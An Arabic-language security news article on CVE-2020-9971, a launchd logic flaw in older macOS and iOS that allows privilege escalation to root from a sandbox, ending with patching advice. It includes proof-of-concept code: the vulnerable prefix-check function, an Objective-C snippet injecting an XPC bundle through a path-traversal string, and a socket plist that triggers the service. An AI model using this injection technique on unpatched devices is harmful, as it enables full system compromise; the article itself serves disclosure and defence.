Breaking News
القائمة
Advertisement

ثغرة CVE-2020-9971: كيف يمنح خلل في عملية launchd صلاحيات الجذر في أنظمة macOS وiOS

ثغرة CVE-2020-9971: كيف يمنح خلل في عملية launchd صلاحيات الجذر في أنظمة macOS وiOS
صورة ذكاء اصطناعي
Advertisement

تكشف ثغرة CVE-2020-9971 عن خلل منطقي حرج داخل عملية launchd في أنظمة macOS وiOS، مما يتيح للمهاجمين تحقيق رفع الامتيازات (Privilege Escalation) بنسبة نجاح واستقرار تبلغ 100%. اكتشف الباحث Zhipeng Huo من مختبر Tencent Security Xuanwu Lab هذا الخلل، والذي يستغل آلية خدمات XPC لتجاوز أكثر التطبيقات تقييداً داخل أي بيئة معزولة (Sandbox) وتنفيذ الأكواد البرمجية بصلاحيات الجذر المطلقة.

نظراً لأن عملية launchd تُعد المكون الأساسي والأهم في أنظمة تشغيل شركة Apple، فإن هذه الثغرة تؤثر على الأجهزة التي تعمل بإصدارات أقدم من نظام macOS Big Sur ونظام iOS 13.5. ومن خلال التلاعب بكيفية تحقق النظام من نطاقات العمليات، يمكن للمهاجم إجبار عملية نظام ذات صلاحيات عالية على تنفيذ تعليمات برمجية خبيثة عند الطلب.

فهم خدمات XPC ونطاقات العمليات

تُعد خدمات XPC عبارة عن حزم خلفية تديرها عملية launchd لتقديم خدمات مخصصة لتطبيق واحد، مما يعزز الموثوقية والأمان عبر عزل الانهيارات. وعلى عكس خدمات LaunchDaemons التي تعمل على مستوى النظام بالكامل، تقتصر هذه الخدمات على عملية محددة وتعمل داخل نطاق العملية الخاص بها. ووفقاً لتصميم شركة Apple، يجب أن يُسمح فقط للعملية التي تمتلك النطاق بتعديله.

ومع ذلك، فشلت وظيفة التحقق من الوصول في إصدارات macOS السابقة لنظام Big Sur في مطابقة معرّف العملية (PID) الخاص بالطالب مع معرّف المالك الفعلي للنطاق. ورغم أن النظام استخدم واجهة برمجة التطبيقات sandbox_check_by_audit_token لضمان عدم تدخل التطبيقات المعزولة في النطاقات الأخرى، إلا أن فحصاً ثانوياً وفر ثغرة قاتلة للمهاجمين.

استغلال مسار اجتياز الدليل

تنبع الثغرة من الطريقة التي تتحقق بها عملية launchd مما إذا كانت خدمة XPC المضافة تقع داخل الدليل الفرعي للعملية المستهدفة. اعتمد النظام على وظيفة بسيطة لمقارنة السلاسل النصية تكتفي بفحص بداية مسار الملف فقط.

bool __fastcall sub_10000B440(char *a1, char *a2){
 size_t v2;
 v2 = strlen(a2);
 return strncmp(a1, a2, v2) == 0;
}

نظراً لأن هذا الكود البرمجي يفحص الجزء الأول من السلسلة النصية فقط، فإنه يصبح عرضة لهجوم اجتياز المسار. ومن خلال تمرير مسار يحتوي على أحرف الاجتياز القياسية، يمكن للمهاجم تجاوز الفحص وحقن خدمة XPC مخصصة داخل نطاق عملية يتمتع بصلاحيات عالية، مثل عملية systemsoundserverd.

xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(pid_dict, "pid", 308);
NSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];
NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath];
xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);
xpc_object_t paths = xpc_array_create(&xpc_bundle, 1);
xpc_add_bundles_for_domain(pid_dict, paths);

تفعيل الحمولة البرمجية عبر منافذ الاتصال

يُعد حقن الخدمة مجرد خطوة أولى؛ إذ تظل الخدمة في حالة انتظار لأن خدمات XPC لا تعمل إلا عند الطلب. ولإجبار العملية ذات صلاحيات الجذر على تنفيذ الحمولة البرمجية، يمكن للمهاجم تكوين ملف plist الخاص بخدمة XPC المخصصة للاستماع إلى منفذ اتصال (Socket) محدد.

<key>LaunchProperties</key>
<dict>
	<key>Sockets</key>
	<dict>
		<key>Listeners</key>
		<dict>
			<key>SockServiceName</key>
			<string>9999</string>
			<key>SockType</key>
			<string>stream</string>
		</dict>
	</dict>
</dict>
<key>XPCService</key>
<dict>
	<key>ServiceType</key>
	<string>Application</string>
</dict>

بمجرد اكتمال التكوين، تبدأ عملية launchd بالاستماع النشط على المنفذ المحدد. وأي اتصال شبكي وارد إلى هذا المنفذ سيُجبر عملية launchd على تشغيل خدمة XPC الخبيثة بصلاحيات الجذر الكاملة، مما يكمل سلسلة الاستغلال بنجاح.

Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  *.9999                 *.*                    LISTEN
tcp6       0      0  *.9999                 *.*                    LISTEN

التحديث الأمني الصامت من Apple وخطوات الحماية

على الرغم من أن أنظمة macOS وiOS تتشارك نفس البنية المعمارية لعملية launchd، إلا أن شركة Apple نشرت في البداية حلاً أمنياً خفياً في نظام iOS 13.5. حيث استبدلت واجهة برمجة التطبيقات xpc_bundle_get_path بواجهة xpc_bundle_get_property، والتي تعمل على استخراج المسار الحقيقي وإزالة أحرف الاجتياز. ولم تقم الشركة بمعالجة الخلل المنطقي بالكامل إلا مع إطلاق نظامي iOS 14.0 وmacOS Big Sur، وذلك من خلال التحقق الصارم من رمز التدقيق الخاص بالعملية الطالبة ومطابقته مع مالك نطاق العملية.

لحماية الأنظمة من تقنية رفع الامتيازات هذه، يجب على المستخدمين ومسؤولي الأنظمة اتخاذ الخطوات التالية:

  • تحديث جميع أجهزة Mac إلى نظام macOS Big Sur (الإصدار 11.0) أو أحدث لضمان تفعيل تصحيح التحقق من مالك النطاق.
  • تحديث جميع هواتف iPhone وأجهزة iPad إلى نظام iOS 14.0 أو أحدث للاستفادة من التحقق الكامل من رمز التدقيق.
  • مراقبة نشاط الشبكة بحثاً عن أي منافذ اتصال محلية غير متوقعة، والتي قد تشير إلى استغلال لخدمة تعمل عند الطلب لمحاولة تشغيل حمولة برمجية.

التكلفة الخفية لراحة المطورين

تسلط الآليات الكامنة وراء ثغرة CVE-2020-9971 الضوء على موضوع متكرر في أمن أنظمة التشغيل الحديثة: غالباً ما تولّد التسهيلات المقدمة للمطورين نقاط ضعف معمارية عمياء. صممت شركة Apple خدمات XPC لتكون شفافة وسهلة الاستخدام للمطورين، مما أدى إلى إخفاء التعقيدات المرتبطة بالاتصال بين العمليات والمطلوبة لعزل مكونات التطبيق. ومع ذلك، أخفى هذا التبسيط فشلاً منطقياً أساسياً في كيفية تحقق عملية launchd من ملكية النطاقات.

من خلال الاعتماد على مقارنة نصية بدائية للتحقق من صحة المسار، ترك النظام الباب مفتوحاً على مصراعيه لتقنيات اجتياز المسار الكلاسيكية، وهي فئة من الثغرات التي وُجدت منذ عقود. يثبت هذا الاختراق أنه حتى داخل أي بيئة معزولة (Sandbox) حديثة ومقيدة بشدة، تظل المكونات الأساسية أهدافاً مربحة. ومع استمرار أنظمة التشغيل في أتمتة إدارة أي عملية خلفية (Background Process)، سيجد الباحثون الأمنيون المزيد من العيوب الحرجة ليس في تلف الذاكرة، بل في المنطق الأساسي لهذه الأطر البرمجية الشفافة.

هل أعجبك هذا المقال؟
Advertisement

عمليات البحث الشائعة